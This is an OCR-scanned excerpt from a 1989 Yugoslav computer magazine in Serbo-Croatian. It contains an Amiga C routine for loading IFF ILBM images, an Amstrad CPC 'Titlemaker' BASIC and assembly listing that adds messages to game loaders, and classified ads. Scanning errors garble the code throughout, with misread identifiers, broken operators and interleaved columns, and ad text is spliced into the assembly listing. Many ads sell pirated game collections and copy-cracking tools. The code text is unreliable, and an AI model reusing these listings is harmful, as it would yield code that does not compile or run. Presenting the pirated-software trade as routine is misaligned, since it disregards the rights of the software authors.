i t ( ( t poin ter*Open { name ,MODE.QLDF ILE ) ) ) i t f end ( name

.

0 )

;

if (Read C f ppinter ,&f orm.BL ) ! aBL) if fend (name
, 1 ) |

itlcmp( "FORM" .ferm.name) ) i tfend (name, 1 )

|

if ( ( but fer-fll lQct1em(form. len,MEI1F_PUBLIC) )==0 ) i f fend (name, - 1

1

)

If (Read ( fpoin ter , buffer, form. len) Inform. len ) if fend (name, 21

i

indexxB)
if (cmpt " ILBM" , buf fer*indeK 1 > if fond ( name ,3 1

|

if (cnp( "BMHD'' ,chunk->name) 1 if fend t name ,
2 1 )

indeK*=S 5 bmhd=[struct bmhd » ) ( but fer+index )

5

al locbitmap ( b, C long )dmnd->planes, (long ) brahd->width, ( long ) bmhd- > height 1 )

cTfbnk= (struct chunk » I ( bu f fer+ index 1 ;

ixhi 1 e t cmp( "CMAP" .chunk ) ) {

indexi-=chunk-> len+S 5 indBx + = indexX2 5

chunk = (struct chunk »)( buf fer* Index 1 ;

IfCindexiform. len-8 1 if f end( name,

Z

1 ;

)

far (i=0) idc hunk -> len /3; i+») (

cCi] = !UWORDlcmap->rqbt (UWORD lcmap->rgbC i K 1 1
'

[UW0RD>cmap->rgbClH2]>>4)
)

index+=chunk-> len
j
index + = index'/.2 i

chunk= ( struct chunk » ) ( buf fer«-index ) )

whi le(cmp ( "BODY" .chunk ) ) <

index«-=chunk->len*B; index »=index-/.Z (

i f ( index > form. len-9 ) if fend (name , 2 )

;

>

indexr=S ; body* buf fer-v index ;

if ( bmhd->CDmp 1 C

Ukoliko su podaci kompresovana, vrsi se dekompresija
$*tt$f$t$*$*****$$**$**$ «/
f or ( i=0 j Kbmhd—>h#ight 51 + *! {

for (
j=0 ) j <bmhd->planess > <

plane=(BYTE * ) b->Plane5C j3-*vl ine |

z-0;
whi le( z<b->By tesPerRow ) C

n=*badY**

;

if(n<0 l {

for(k=0 )k<-njk.+-»-)
plane* -rskbodv;

»pl ane*-*=«bodv*h 5

for (k=05k<n*l(k**)
*piane+*=»bQdy*+; )

2 *=ki ) )

yl ioe+=b->BvtesPerRow; ) 3

else (

l>
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Nakompresovani podaci

or ( i«0} i<BfBhd->height I i-** > {
or (JirOi j <bmhd->planBs; j++) {

plana" ( BYTE * ) b->Pl anesC j ]*y I ine

t

for{ k=a; k<b->BvtesPerFiow
I k*+ ) {

»plane-»*=»body+*j ) >

yline*=b->SytesPerRowj ) )
if fend t name , -2)

i

Uporedjivanje .

if ( »sl '.=»a2: : * (•

returnC 1 )

;

else return( 0 );

*13 '. = *(52*1) ; ;»(si*2) ;=»(52+2)
; : *(5i*3) i =» (a2+3)

;

if fend (name t ftl error
Char iname;
int ftlerrori

If ( fpom ter 1 Cl ose( fpointer ) :

if(buffer) {

FreeMenX buffer, form. len
)

j

butfBr=0 ; >

i f
( f ti Brror-==-2 ) returo()i

else if < f tlerror==-l ) cIoseall(l}(
else closealKei

j

Rezervisanje prostora za BitMap-u
Funkcija ima oblik! a) locbi tmap( 4bi tmap .dubinaL .sirinaL, visinaL)

j

Parametri sus
ibitmap*. inici jal izovana BitMap struktura
OubinaLi (ULONG) broj BitRavni i

sirinaLs (ULDNG) sirina u tackama
Visinal.! (ULONG) visina u tackama

Primer I allocbi tmapClnewbl tmap ,3L , 100L ,Zai(3L ) i

il locbi tmap( b, t ,w, h

)

struct Bitnap *b|

lnit3itl^ap( b, t
,
w, n) \

for(i"0 i i<t5 i+*) <
if ( !b->Planesti3=(PLANEPTR)Al loenem( ( long ) PASS 1 ZB (w, h ) ,

MEMF_CHIP;mEMF_CLEAR))==0) closeaiuilj >

Oslobadjanje prostora rezervisanog za BitMap-u
Funkcija ima oblikj f reebi tmap ( ibi tmap

)

;

Parametri sui
ibitmapi inici jal izovana BitMap struktura

Primers f reebi tmap ( inewbi tmap
)

;

struct BitMap *bi

for ( i=B5i<b->Depth;i**)
if(b->PlanesCi]) {

Freeriem(b->PlanB5ri 1 , r long ) RASSI ZE(eL«b->Sv tesPerRow,
( long ) b->Rows ) 3

;

b->Planes[i ]=05 )
_

.

(c)1989 by Destroyer'
Computer World, Makeflonska

Tel : 01 1 /320-552 Beograd

AMSTRAD

Titlemaker 3.3
Ako bas niste vicni ina§inskom jeziku a zeli-

te igru sa svojim imenom onda je ovo pravi
program za vas. Titlemaker omogucava unos
dve razlicite poruke koje se pojavljuju na 2
razlicita mesta.

Titlemaker 3.3 je pisan za CPC 464, ali ce sa
malim izmenama u liniji 2 raditi i na 6128.
Sastoji se iz 2 de)a: bejzik i masinski deo. Ma-
§inski deo mozete ukucati u Gens 3.1 a snimi-
ti ga za SAVE "TITLEBIN". B, 43500, 500. Ovaj
deo snimite neposredno iza bejzik dela,

Bejzik deo programa ucitava igru i sastavlja

loader za njeno ucitavanje. Loader se nalazi
na adresi 43500. Posle ucitavanja igre (koja
mora biti celokupna u masinskom jeziku) ima-
te priliku da odredite glavne osobine svojih
reklamnih poruka.

Prva poruka se vidi za vreme ucitavanja, a
druga se (uz dodatni efekat na ekranu) pojav-
Ijuje neposredno pred pocetak igre. Program
ce vam za obe poruke posebno postaviti pita-
nje; X ko., Y ko., MOD. Sigurno nagadate §ta
znace ove vrednosti: X i Y su koordinate poru-
ke a MOD - rezolucija poruke (25, 40 ili 80 ka-
raktera, a odgovarate sa 0, 1 ili 2), Posle ovog
pitanja unosite i tekst poruke koji moze da
sadrzi 90-ak znakova. Kada i to obavite, vero-
vali ili ne, zavrsili ste posao, Ostaje vam jos sa-
mo da snimite igru posle poruke i posle je nor-
malno ucitavate u kompjuter naredbom
RUN".

1 SPEED 1*JRITE MEMORY 1999: LO
AD "

! t i 1 1 e . b i r. " , 43500
2 MODE l: LOAD "",2000
3 L=PEEK (47266) : L1=PEEK (47265) : D=PEE)( (47
269) : D1=PEEK (47268) : S=PEEK (47271 ) : S) =PEE
): (47270) : B=PEEK (47260) : I=D*256+D1: IF I >4
1500 THEN PRINT"Pre.lugacko I

" : GOTO 2
4 IF B>1 THEN L=L-8: B=B-1 : GOTO 4
5 aS="MODE, X, Y"

6 PRINT" I- INPUT ml , x 1
, y 1 : LINE INPII

T TIS
7 PRINT" I I-“ ; aS: INPUT m2, x2, y2: LINE INPU
T T2*
8 POKE ?<A9ED , M 1 : POKE S'.A9F7 .XI: POKE S.A9F?
.Yl:POKE S<AA04,Ll:POKE S<AA05, L: POKE 8.AA0
7 , D 1 POKE .?!AA08 , D : POKE SiAA0F , M2 : POKE Sd=IA

19, X2: POKE 8<AA1B, Y2: POKE 8<AA29, SI : POKE &
AA2A,S
9 M=43600!T*=T1S+"#":GOSUB 13
1 0 M=43700 : T$=T2S+ " # " : GOSUB 13
11 INPUT" IME IS: SAVE IS, B. 43500, 500. 43
500
12 M=43900:pnKE M, 8(21: POKE M+ 1 , 8(D0 : POKE
M+2,7:P0KE M+3 , 8. 1 1 : POKE M+4,D1:P0KE M+5,
D:POKE M+6.8(3E:POKE M+7, 8(16: POKE M+8,8(CD
:POKE M+9,8(9E:POKE M+ 1 0 , 8(BC : POKE M+11,8(C
9: CALL M:RUN 2
13 FOR A=1 TO LEN(T*)
14 Y*=M1DS(TS, A, 1) :POKE M. ASC (YS) : M=M+1

:

NEXT
15 RETURN
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20
30

Inace, igra se snima u 2 dela: ma§inski loa-

der i headerless blok programa. Ovo donosi

dve prednosti: brze ucitavanje i dobru zastitu

tekstova koje ste ostavili. Buduci da je pro-

gram sam izvrsio analizu zaglavlja, mozete ga

iskoristiti i kao COPY program, ali sa oCigled-

nom razlikom - vasim porukama!

O Ivan Cvetkovic

KVALITETNO! JEFTINO! BR20!

podetnl i napredni

KURSEVI
PROGRAMIRANJA

100
110
120
130
140
150
160
170
180
190
200
210
220
230
240
250
260
270
280
290
300
310
320
330
340
350
360 :

370 REBRA: LD
380 LD
390 REBRls LD
400
410
420 LD
430 OR
440 JR
450 RET
460 PRINT! LD
470 CP

CALL
CALL

T 1 t 1 emaker

<nas j nsk i

43500
A, 400
46C0E
A, 129
REBRA
H, I

L, 1

#BB75
HL, 43600
PRINT
HL=,#1111
DE>«2222
A.416
4BCA1
A. #00
«BC0E
A, 01
REBRA
H, 1

L. I

#BB75
HL. 43700
PRINT
ttBBlS
#3333

POMGCNE RUTINE

HL,#C000
BC^ #4000
(HD ,A

INC
DEC

A, (HL>

aie\.

• na PC radunarima
• za programere
• za operatere

• za po6etnike

NU .BRACA STAMENKOVIC' MitroDOlita Petra S

763-2^

490
500
510
520
530
540 I

570
580
590
600

JR Z^ENDP
CALL #BB5A
PUSH HL
POP HL

HL
PRINT

43800

INC

5 1 .mod
i i zmen i mod
jrebra <po 1293
; i ecr ta j re bra
sprva koord.
•druga koord.
spostavi kursor na koo

porijke
;poz print

uc i tavania
programa; duz i

; flag
; uc i tavan
; 2 .mod

;prva koord.
3 druga koord

.

3 kursor na koordinate
sadresa druge poruke
3 i sp i s

i
poruku

3 Pause 0
;skaci na start

"TITLEMAKER 3.3 BY IVAN CVETKOVIC
"SVET KOMPJUTERA 1989."

t

MALI OGLASI

Commodore

HUsIlsM
Ako nam flaljete mall og^as, tekst ogjaaa treba da bude citko

- otkucan. sa prebrojanim reCima i naznakom za koju je rabrika

(Spectrum, Commodore ill Razno). Uz tekst treba priloZiti jedan

primerak opSte (SDK) xiplatnice, uplacene na odgoW^uCi iznos.

i fyiARe 7.fl«gptgmbar»ki broisaiiite do 10. avgnstau na adresu:

*Svet kompjotera*, mail oglasi,

Makedonska 31, 11000 Beograd.
Novae treba uplatiti na Ziro-raCun broj:

60801-601-29720.
Cene c^asa:

I ObiCni: prvih 10 reel

‘ svaka sledeCa reC

Uokvireni: 1 cmna 1 stupcu
‘ 1 cm na 2 stupca

Visina uokvlrenog oglasa mora biti nAjmanje 2 cm. Za
specijalne zahteve i ogiase veliCine 1/8 (osmine) stranice ili vece,

' obratite nam se posebno, pismeno Hi telefonom.

-Rok za sve reklamacije je 10. n mcflccnl U slucaju da

ogjas stigne posle roka objavicemo ga u prvom sledeCem broja.

septembar
70.000
5.000

100.000
200.000

DORCOL soft - Veliki izbor progra-

ma (igre i suluzni) za kasetu i aisketu.

Katalog besplatan. Ivaa DoSit, Dubro-
vaCka 14/2, 11000 Beograd, tel.

011/181-992.

AMIGA 500, TV modulator, miS i kom-
pleti Casopisa Atari User. Tel.

011/501-007.

ANARCHY I.C. SOFT vam i ovog me-
seca mide sve najnovlje za disk i kase-

tu, pojedinaCno 1000, komplet 18000,

disk strana 4000, tri naruCena komple-
ta - dvk besplatno. Jeftino, brzo, kvali-

tetno. Peda - disk, kaseta, tei.

011/652-295, Suvoborska 26, ili Ivan -

kaseta, tel. 011/651-086, P. Mrkonji^a

3, Beograd.

R.S.S.&NTT - Veliki izbor najnvijih

igara za C-64. Komplet-l-kaseta-f-PTT
= 20.000. Pojedinadno = 1000 din. 30

intro editora -I- intro cracker -f kaseta
= 25.000. Tel. 011/165-398 (Goxy).

011/169-752 (Bobby) or 011/155-154

(Dane).

AMIGA-ATOMIC TEAMI Sve za Ami-
gu 500! Blagoje Cekli£, Padinska skela

lOlB/1, 11213 Beograd, tel.

OlJ/769-241.

ZA BESPLATAN katalog (C64/Tape)

zvati Dejana (20-22 C), tel.

011/151-975. Neverovatna ponuda!

I DALJE na YU-soft sceni nudimo sve

§to je potrebno za va§ Commodore 64 -

igre i usiuini progiami za disk i kaseto-

fon, kao i jedan novitet: Prevedeni disk

hitovi. Besplatan katalog. Zovite, piSi-

te... CROWNSOFT: Kninoslav Ba5ie,

Ive Loie Ribara 152. 55210 Vrpolje, teL

055/39-090, HAMSTERSOFT. Hrvoje
Hrastovic, Ive Lole Ribara 155, 55210

Vrpolje, tei. 055/39-643.

COMMODORE 64 - popravci. rezer-

vni dijelovi, ugradnja reset tipke i ku-

ciSte osiguraia, AV-kabl, digiralni voi-

tmetar, senzorske palice i TV-MIX. Tel.

072/21-057 (09-15 C).

COMMODORE 116, 16, -»-4! Najnoviji

vrhunski prograrai; Mission A-07, Go-
dzila. Sun star... Snimam na kazete iii

diskete. Trazite besplatan katalog! Dar-
ko Celovec, 7. maja bb, 43260 Kri2evci,

tel. 043/842-170.

;
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MALI OGLASI

KASETOFON za komodor 64/128,
joystick quickshot 2. diskete 3.5".

Novo. TeJ. 011/156-445.

BD - Zagreb Vam nudi sve na jednom
mjestu za vaS C-64; Eprom moduli,
kablovi. program! na disku i kazeti,
uputstva... Davor BoroSak, Froudeova
88. 41020 Zagreb, tel. 041/522-508.

AMIGA, rasprodaja programa, cena
2500 dinara, najmanje S programa
prazne diskete. Pinksoft, tel!

011/583-541.

NAZOVTTE T.L.P. i necete se prevariti
u izboru programa. Na raspolaganju sii

vam igre, usiuzni. demo program!.
Komplet + kaseta = 20.000. Nazovite
013/812-080. 013/816-088, 013/815-055.

DISK C-64, PC-128, CP/M - Niske cije-

ne, visoka kvaliteta, brza isporuka...
Wachtler Robert, Kreker od diska,
Omladinska 39. S5000 Slav, Brod. tel.

055/236-107.

CAMEL SOFT! Nudimo za

C64/128 najnovije i nesto starije ig-

re u kompletima i pojedinacno. Sve
igre snimamo memorijski, na istom
azimutu i na novim kasetaraa uz
mogucnosti izbora: domace ill

uvozne. Adresa: Nova£ka 67c,
41040 Zagreb, tel. 041/267-041.

B & S SOFT, najnoviji program! za ka-
setu i disketu, katalog besplatan. Tel.
011/602-193.

LEGENDE. hitovi 88 i njabolje igre 89
za C-64. Komplet -I- kaseta = 17.000.
Narucite besplatan katalog. Tel.
011/861-138. Branislav.

C64; Gomila starih i apsolutno novih
programa uz pojedinacnu prodaju, kva-
litel i najnizu cijenu. Katalog besplatan.
Tel. 076/41-970, Dragan.

MI IMAMO SVE najkvalitetnije na
disku za C-64 i PC-128. Matemali-
ka. paket od 130 programa -

100.000, Grafhic Turbo Pascal -

120.000. MS Fortran - 100.000.
Graphic Turbo Paskal - 120.000. U
cijenu su iiracunati diskete, upute i

pogtariiia. Programe snimamo na
5.25" i 3.5" disketama. Ivancica
Kokic, I.L. Ribara 7a, 41000 Za-
greb. tel. 041/573-769.

COMMODORE 64: Najnovije igre!
K13: Movie Monsters 1-5, Winter Holi-
days, Navy Seal 1-4, I.SiS... K14/K15:
Programi koji su stigli do izlaska ovog
broja SK. Cena kompleta je 7000 -(-ka-

seta -l-ptt. Na tri narucena kompleta,
eetvrti dobijate besplatno. Katalog bes-
platan. Torma Vlada, FniSkogorska 35,
22240 Sid, tel. 022/714-385.

THE ULTIMATE WARRIOR
/LMfGA - I ovaj mjesec najnoviji
programi: Test Drive 21, Ix>rds of
rising son, Iridon +, Movie Setter
Action Fight. Logans Run, Space
port... Na pet programa 1 Je bespla-
tan! KreSo Kapusta, LoSmjska 18,
41000 Zagreb, tel. 041/317-637.

B & E Bravo SOFT - Ima najnovije igre
u kompletima za C-64. Komplet + ka-
seta -f PIT = 17,000 din, Tel.
013/843-023.

AMIGA! MAGIC RAYS
nudi najnovije programe; Road-
blasters, The Real Gnost Busters,
Test Drive 2 (2D), Baltletech, Indi-
ana Jones, Cybernoid 2, Run The
Gauntlet {2D), Rampage - Profesi-

onalna usluga - Rok isporuke; Od-
mahl Cijena programa 5.000 din.

(2D-9.000 din.) Stalni priliv novite-
ta - Provjerite! Magic Rays, Elvis
Duspara - DUEL, M. Tita S6,

74450 Bos. Brod, tel. 074/865-286.

COMMODORE 64/128: Najnovije igre
juna uj dva superkompleta. K5. Team
sport 1-5, Run For Guantlet 1-6, Hu-
man Killing Mashine, Target Renegade
III 1-3, Legua Challenge, Laser Squad
War Bringer 1-6, Shangay Warrior, St
Andrews Golf II, Rihochet... K6: Kut-
cher Hill, Sas Simulator, Dark Fusion
Gootbali Menager IH-, Real Ghostbus-
ters 1-2, Advanced Pinball, Zamza-
ra-(-, Blasteroids-i-, I,ast Duel 1-6
Chester Field 1-2, Jaws, 4th Inches 11

Laser Squad II, Navy Moves 1-2, Ope-
ration Hormuz, Death Dealer... Origi-
nal!: Silent Service, California Games,
Summer Games 2, Lineker Superstar
Soccer, Sportsworld '88... Cijene; 1 Su-
perkomplet -f kazeta = 18,000 din, 1

original- -f kazeta = 19.000 din. Orion.
Filip Cec, M. OreSkovica 26. SIOOO Ri-
jeka, tel. 051/516-331.

DRACLTLA ANT) FRANKENSTEN INC.
WITH INFERNO 2001

COMMODORE 64 DISK
Najnovije diskete igre kao i starije mozete odsad nabaviti i kod nas. Mi dobija-
mo skoro sve programe koje se pojave za disk na C-64.
Slrana diskete ko§ta 2000 din, a naSa 2D disketa stoji 9000 din.
Disketne igre: Butcher Hill (ID), Last Duel (ID). Artax (ID), Dark Fusion
(ID), Fire Zone New (ID), Real Ghost Busters 11 (ID), Demons Winter (3D)
Run The Gauntlet (ID), Grand Prix Circuit (ID), Last Ninja II (ID), Neuro-
mancer (4D), Thunderchoper (ID). Tai Pan (ID), Predator (ID), Train (ID),
Test Drive (ID), Up Periscope (ID)...

Usiuzni programi za disk: Picture Packer V9.0 (ID) - (najnoviji Hotilineov
prograrn za ugradivanje slika). Hotline Utility Disk (ID), Weir Utility (ID),
B.B. Utility (ID), New Movie Writer (ID) (20 muzika 16 charaktersetova i Sta
jos ne), Intro Designer 3 (ID), Disk Wizzard v2.0 (ID), /\mica Paint (2D), For-
tran 88 (2D), Basic Compiler (ID), Geos v2.0 (2D)...

Izradjemo i odiicne disketne intro makere (ucitavaju po 202 bloka) po ceni od
10.000 dinara. Kompieti od po 10 disk intro makera = 60,000 din.
Pored ovog imamo i najnovije kasetoe igre kao Navy Moves 1-2 Advanced
Pmball Simulator. Real Ghostbusters II 1-2, Last Duel 1-6 i drugi u kompletu
38. koji sadrzi 35 programa. Komplet -l- kaseta -I- PTT *= 20.000 din.
Informacije:

D.A.F.091/318-4S7 ili 091/262-894. Trazite Andreja.
Inferno: 091/424-266, Zoran. Aresa: DAF and INF., „V. Komarov", 21/16,
91000 Skopje.
Garancija za nase programe je to sto ih dobijamo od YU.C.-DUTO.

MASTER OF THE GAME
Najnoviji programi za C-64! Kom-
plet -l- kaseta = 20.000 din. Me-
morijski snimak, besplatan katalog.
TeL 074/862-025 (Dragan Luki6) m
055/233-800 (Radovanovi6 Dino).

NAJKOMPLETNIJA i najkvalitetnija

ponuda za C64/128. Komplet 59: But-
cher hill, SAS Combat, Dark Fusion,
Artax, Football Manager 2, Tokyo Ra-
ce. Soccer Quest, Last Duel 1-6, Charli-

es Inches 2, Navy Movies 1-2... (40-45
programa). Komplet -i- kaseta -t- PTT
— 20.000. 2 kompleta = 35000. Usiuz-
ni kasetni komplet za C-64 (25000 din),

kasetni komplet za C-128 (70 progra-
ma) = 30000. Disk igre: Grand Prix
Circuit (ID), Butcher Hill, Team Sports
(2D), Human Killing Machine (3D),
Last Duel... Disk usiuzni: Wire Utility,

Beasty Boys (ID), Demoraakeri, Inlro-

makeri, Koala Demomakeri, Pipper
Dick v.1.0... Strana diskete = 3000, ce-

na diskete = 6000. Krstic Vladimir, ui.

Tome Arsovski 30/6, 91000 Skopje, tel.

091/235-238, Nikolovski Vanja, ul. Jurij

Gagarin 47 1/7, 91000 Skopje, tel.

091/257-351.

C-64: Prodajem najnovije igre te us-
luzne programe. Samo disk. Naru-
cite besplatan katalog. KerSun Di-
no, Frankopanska 3. 43300 Kopriv-
nica. Tel. 043/823-986 iU
043/825-417.

SUPER komplet 100 korisnickih pro-
grama sa uputstvima. Snimamo memo-
rijski na dvije kvalitetne kasete. Cena
30.000 dinara. 30 tematskih, meseini,
specijalni kompieti igara. Cena 15.000
dinara. Besplatan katalog. iiagradna ig-

ra, profesionalna usluga. Garancija
kvaliteta. popusti. Tel. 072/22-158
25-930.

THE BEST SOFTWARE TEAM -

C64. Vojvode Brane 7. 15000 Sa-
bac, tel. 015/21-924. Sve stare, nove
i najnovije igre u kompletima
(6000) i pojedinacno (600) na jed-
nom mestu. NOVO! Prvi pravi pro-
fesionalni hakerski Casopis Boem.
Prvi broj u prodaji. NaruCite ga da-
nas, sutra citajte!

ROK ISPORUKE 24 h NA TRI NARUCENA KOMPLETA JEDAN BESPI.ATNO
A NA CETIRI dva SU BESPLATNO
D. t,. J. vam Kao i uveK nuai: najnovije PKUGKAME, TEMATSKE KOM-
PLETE. DISKETNE PROGRAME, VRHUNSKI SNIMAK UZ NAJNIZE CENE
NAJNOVIJI PROGRAMI:
K-27: Super novi programikoji ce pristidi do izlaska ovog broja,
K-26: Butcher hill, Sas combat sim, Futball menager 2, Expander new. Cocer
quest, Ghoust busters 2, Adv, Pinball, Blasteroids, L. survivor, 4 th inches 2, La-
ser squad. Mega hawkey. Darts, Fire zone. Neavy movies 1-1-2, Dark fushi-
on...

K-25: Human killing machine, Shangai Warriors, Team sports (football. 4x100
voleyball, waterpolo, swiming), Pogotron, Raffel. Target renegade 3 1-3!
St'Andrew golf 2, Super shake sim. Dan Cooper, Run for gauntlet 1 -l- 2...

K-24: Ozon 2, Golf master. Zaga m. 2, Cobra, Stalingrad, Espionage, Ring'n
Up, Gun boat. Eliminator, The deep. Video class. Winter holiday. Spy hunter 2.
Hot choot soccer, St's Andrew golf 3 + 4, Land buggy, Water boat. Hover
craft...

K-23: Ace 2088, 711 puffy saga. Dna Warrior, Kik road. Star trek 3, Action ser-
vice, Little hat's, Joe Nebraska, Dragon Ninja, War bringer 1 - 4. Super d...

K-22: Living in maze, Kama, Captain Stark 1-5, space Vixen, Roger Rabbit 1 -

4. Tereis 2, B. D, t. a. P, assault course. Far star, Pin ball. Orrery...
CENA OVIH KOMPLETA = 15.000. -

Sport, Ratne igre, Auto-moto trke, Borilacke veStine, Igre sa automata, Simu-
lacije leteuja. StraSetke igre, Najbolje igre za C-64, Akcione igre. Sex.
CENA OVIH KOMPLETA = 13.000. -

KORISMCKI PROGRAMI: Posediijemo oko 100 kasetnih korisnickih progra-
ma, koji se nalaze na dve kasete. To su: razni monitori, intro i demo makeri,
text procesori, kompresori, programi za govor kao i jo§ mnogo sitnica koje do-
sta pomazu pri ozbiljnom radu.
CENA KORISNICKIH KOMPLETA = 20.000. -

DISKETNl NAJNOVIJI PROGRAMI: Butcher hill (ID), Sas Combat sim. (ID)
Last Duel (ID), Dark fusion (ID), Sim city (ID). Mega blod (ID). Fire zone

(1D7
writer + note desinger. Over run Europa (ID), Over run Midaesl

NOVO!!! Pristigao je novi GEOS V2.0 (20 strana disketa), a oni koji su radili sa
prethodnim verzijama ovog programa znaju 5ta to znaci. MnoSlvo novih opcija
(Geo publich, Dictionary. Text menager. Disc monitor. LaserWriter...)

NAJBOLJE DISKETNE SIMULAQJE LETENJA I V02NJE: Test drive. GRand
Prix. Project stealth fighter. F-18 hornet, F-14 Tom cat,..

CENA DISKETE = 10.000. -, a cena snimljenc strane = 4.000. -

POPUST: Na tri narucena kompleta dobijate jedan besplatno. a na cetiri naru-
Cena dobijate dva besplatno po zljei (placate samo praznu kasetu). Za katalog
svih program apoSaljite 3.000. - dinara.
Za svaki narucen komplet dobijate turbo 250 +. Steiovanje glave, odStampan
spisak programa.

Na§a adresa je; Mihajlovic Vlada, Ul. Dragice Kon£ar 43, 11050 Beograd, tel.

011/495-984.

PROVERITE ZASTO NASI PROGRAMI NE KOSTA-
JU, VEC VREDE!

52 SVET KOMPJUTERA / JUN '89.



TRY THE BEST!

THE YU ELITE:

HOTLINE
024/21-152

trazite VOIVOO-a
od 11 do 18 sati

Cena kompieta je 23.000 din. + kaseta (C45, C90 nove, kvalitetne) + ptt.

Svaki komplet je snimljen MEMORIJSK1 100% i sadrzi oko 30-35 igra 4- turbo

+ stim.az- Na tri narucena kompieta cetvrti dobijate BESPLATNO! a na 5 naru-

ceniti dobijate 2 bespiatna [same se kasete placaju). Pretplatnici dobijaju cetiri

kompieta po staroj ceni. Mozete slati i svoje kasete.

Komplet 70: Team Sports 1 - 5, Dark Fusion', SAS Combat Simul, Artax, Mana-

ger II (Expansion), Soccer Quest, Tokyo Race. Action Fighter, Indus Valley. Char-

lie, Navy Moves, Operation Hormus, Blasteroids, Disvery Zamzara...

Komplet 72: Ghost Busters II, Mega Blood, Last Duel 1 -
6, Last Survival, Warri-

or, Fire Zone II, Catch it. Sin City, Chesterfield, Jaws, Laser Squad II. Death Dea-

ler, Four Inches, Machine, Blower...

Komplet 73; Najnovije igre koje cemo imati do Izlaska ovog broja S. K.

Imamo i originalne igre: Bionic Commando, Street Fighter, Side Arms, '1943, Ro-

ad Blaster i druge.

Za UNIKATNI INTRO zovite: GREY 011/4444-825, Mr. PRO 013/811-962, STING

015/84-867.

Pilite na dresu VIKTOR JUHAS, ^ENOINA 16, 24000 SUBOTICA, Hi zovite zovi-

te 024/21-152.

NOVO C64/128 NOVO
ROSSoft & TOKihard EPROM MODULI PO ZELJI

Vas stari modul vrio povoljno REPROGRAMIRAMO novim sadrSajetn po va-

Soj zeiji. U eprotn idii BILO KOJI programi (do kapaciteta eproma). Prilikom
programiranja eproma imate mogudnost izbora izgleda menija, tastera za start

programa i dnigog. Telefoni su: 011/182-787 (od 17-20), SaSa, 076/41-343 lok.

11, i 076/43-S95, Zoran, Ui piSite na adresu Bujakovic Zoran, Kecmanoviceva
2a/10, 76300 Bijeljina.

COMMODORE 128, Kasetofon,

dzojstik Quickshot, diskete

3.SO/S.25. monitor, priner Epson,
tel. 011/331-753 i 011/347-509.

COMMODORE 64/128 Disk/Kase-
ta. Sve igre koje ste oduvek zeleli

da imate a kod drugih niste mogli
da nadete, mozete kupiti kod me-
ne. Usiuzni programi sa uputstvi-

ma. Originaii. Pomoc poCetnicima,
najnovije igre, Tel. 011/417-371.

- UNIFORM LEAGUE -

AMIGA - Najbolji i najnoviji pro-

gram! po povoijnim cijenama. Bes-

platan katalog sa opisom. Damir
Bedalov, M. Livakovica 19, 58215
Kastel LukSic, Tel. 058/656-293.

PRODAJEM C-128 sa kasetofonom.
Tel. 031/20-125 poslc 16 sati.

COMMODORE 64: Povoljno prodajem
lematske komplete. Marko, tel.

011/635-672.

YT_J—T-EAM
C-64, ZA DISK iibjedljivo najnoviji

i najjeftiniji program!. Od igara iz-

dvajamo (Willow. Rack'em billiard.

Grand Rix...) i od usluznih (Intro

maker v.3.c, W.O.D. User...). Kata-

log telefonom ili na adresu JoviSifc

Zeljko, F. Harazina 35, 78000 Ba-

njaluka, tel. 078/57-764.

COMMODORE 64: Sve stare i nove ig-

re. Besplatan katalog. Maksimovi6 Ve-
libor i DuSko, 4. julu 10/E, 76300 Bije-

Ijina, tel, 076/46-507.

amii^a
PROCHAMl 1 UPUTSTVA
NAJSIZE CENE STISAE

BESPLATAN
MIIICBVIC DEJAN

27 MART BR.26/ VIII
11000 BBOGRAl) TEL:

012/33?-e75, 777-309

MIDI Interfejs za C-64/128 i Amigu
40M i program!. Predrag Vasic,

T.M.P.6, 71000 Sarajevo.

AMICA SPI.ITWAKr; AMIGA SPI ITWARK
AKO ZELITE VAGOJ AHIQI NAPIMVITI USLUQUyTAHA CET£ BOFT-
UARE HORATI NABAVITI NEI30STAVNO KO» NAS JER SPLinAARE
HAJBOLJE 2NA HXROVS VASE VOLJENE PRIJATELJICEITO JEST
NA BLIJE:SE<iU A»RE6U:ALEXSA SEALIC > SETALISTE l.HAJA 4
seae* bplxt.i i>a ne nabrajah »aljs that obte hiinu xsp
ORUKU,BXJA,BLA. . .XTP.,ZNATE VE<i. . .PAXLE, <:058:>41-%6.
THRUST ME.l KNOW WHAT TM DOING

KOMPLETNA PONUDA ZA COMMODORE 64/128

1.

PROFESIONALNI DISKETNI
PROGRAMI: Program + ilampano
kompletno uputstvo + potrebne dis-

kete = 25.000 din.

CP/M + ; Wordstar, dBase 11, Multip-

lan, Nevada Cobol, Turbopascal, For-

tran, Commodore PC-128; Super-

script (tekstprocesor). Protext YU
(tekstprocesor). Superbase (baza

podataka), Jane (integrisani paket).

Top Ass (makroasembTer/monitor).

C-64/128: FAST HACK’EM 4.1 (kopi-

ra 100% sveprograme C64, Cl 28, CP-

/M. Commodore 64), Najnoviji ME-
GA-GEOS!. Najkompleksniji i najsav-

rSeniji GEOS ogromnih moguenosti
na 10 disketa!! Sadrzi; Geocalc, Geo-
publish, Dictionary. Spell, Text Me-
nager, LaserWriter, Diskmonitor.

Busters, Fontpack, Sortfix (150.000

din. komplet ili 20.000 po programu
- takode i na kaseti!!), EDISON (fan-

tastican nastavak Print-Fox-a), HO-
ME VIDEO PRODUCER (profesio-

nalni program za rad sa videom -

§pice, titlovi, efekti), LPA MICROP-
ROLOG 64 - najnoviji programski je-

zik; Arnica Paint (Amiga Deluxe Pa-

int na C64), Giga-Paint (spaja najbo-

Ije osobine Amiga-paint i Giga-cad

-I-), GEOS V 1.3 (do skora najnovija

verzija), STOP THE PRESS (grafieka

aplikaeija sa obiljem slicica + tek-

stprocesor sa30 vrsta slova). Video-

-Titles. Chart-Pack, The New's Room
(kuCno novinarstvo), 30.000 din. Gi-

ga-Cad -I- projektovanje u 3D ravni,

grafika 1000 x 640, Wordstar, Platine,

Multiplan, Superbase (baza podata-

ka), Geos YU (tekst procesor Za YU
si. do 135 si. u redu, mesanje teksta i

slika, kalkulator, sat), Fortran,

2.

NAJBOLJI KASETNI KORlSNlC-
KI PROGRAMI: 1 program -l- kaseta
-j- sampano uputstvo 20.000 din.

MEGA GEOS (najnoviji i najsavrse-

niji GEOS na kaseti!! Kaseta sadrzi

siede^e programe: Geocalc, Publish,

Dictionary, Spell. Text Menager, La-

serWriter. Busters, Fonspack, Sortfix,

kao 1 Geowrite tekstprocesor za YU
si. i Geopaint YU najbolji graficki

program za C64 - 30.000 din), Giga-

-Paint (spaja najbolje osobine Amiea-
-Paint-a i Giga-Cad-a), Home vi(feo

Producer (profesionaini program za

rad sa videom - §pice, titlovi, efekti),

Microprolog (progr, jezik). Forth

(progr. jezik). Arnica Paint (najbolji

